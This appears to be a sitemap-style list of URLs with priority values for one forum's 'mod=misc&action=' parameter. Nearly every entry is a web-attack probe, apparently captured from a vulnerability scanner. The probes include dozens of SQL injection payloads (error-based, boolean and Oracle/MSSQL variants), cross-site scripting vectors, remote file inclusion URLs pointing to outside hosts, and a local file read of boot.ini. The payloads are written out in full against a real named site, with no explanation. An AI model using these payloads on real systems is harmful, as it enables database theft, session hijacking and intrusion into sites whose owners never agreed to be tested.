http://www.cncml.com/forum.php?mod=misc&action=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?mod=misc&action=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=misc&action=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?mod=misc&action=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=misc&action=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=misc&action=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav 0.0006 http://www.cncml.com/forum.php?mod=misc&action=nav!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%00' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20RLIKE%20(SELECT%20(CASE%20WHEN%20(22=16)%20THEN%200x6E6176%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%200x6E6176%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%22%20AND%20%226k%22=%22wv 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%22)%20AND%2014=39%20AND%20(%22y0%22=%22y0 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25%22%29%20AND%2055%3D64%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25%27%29%20AND%2023%3D23%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25%27%29%20AND%2041%3D16%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%2039=12%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%2045=45%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%2071=56%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%2086=86%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(88=69)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%2527 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%5B%5D 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%5C%22 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%5C' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav%bf%27 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav&&&&&&&&&&&&&&&&&&& 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%20'7w'%20LIKE%20'zG 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%20'EL'%20LIKE%20'EL 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%20'HD'='sl 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%20'Mt'='Mt 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%20'Nw'='85 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%20'Qt'='Qt 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=77)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20'UZ'='UZ 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(75=75)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20'uC'='uC 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%22 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%20('Uz'%20LIKE%20'54 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%20('t5'%20LIKE%20't5 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%2066=66%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%2087=18%20AND%20('ei'='ei 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20OR%2011=11%20AND%20('Qd'='Qd 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(29=24)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20('cf'='cf 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(57=57)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20('ZB'='ZB 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(68=48)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20(68=68 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(75=75)%20THEN%200x6E6176%20ELSE%200x28%20END))%20AND%20(27=27 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%200x6E6176%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%20(CASE%20WHEN%20(15=48)%20THEN%200x6E6176%20ELSE%2015*(SELECT%2015%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%20(CASE%20WHEN%20(18=45)%20THEN%200x6E6176%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%20(CASE%20WHEN%20(32=16)%20THEN%200x6E6176%20ELSE%2032*(SELECT%2032%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%200x6E6176%20ELSE%2088*(SELECT%2088%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x6E6176%20ELSE%2091*(SELECT%2091%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav1 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nav6633x3X6 0.0001 http://www.cncml.com/forum.php?mod=misc&action=navJyI%3D 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nava' 0.0001 http://www.cncml.com/forum.php?mod=misc&action=navalert(42873) 0.0001 http://www.cncml.com/forum.php?mod=misc&action=nave360 0.0001 http://www.cncml.com/forum.php?mod=misc&action=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=misc&action=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=152&hash=468365e7 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=168&hash=982b2c85 0.0001 http://www.cncml.com/forum.php?mod=misc&action=recommend&do=add&tid=173&hash=468365e7 0.0001 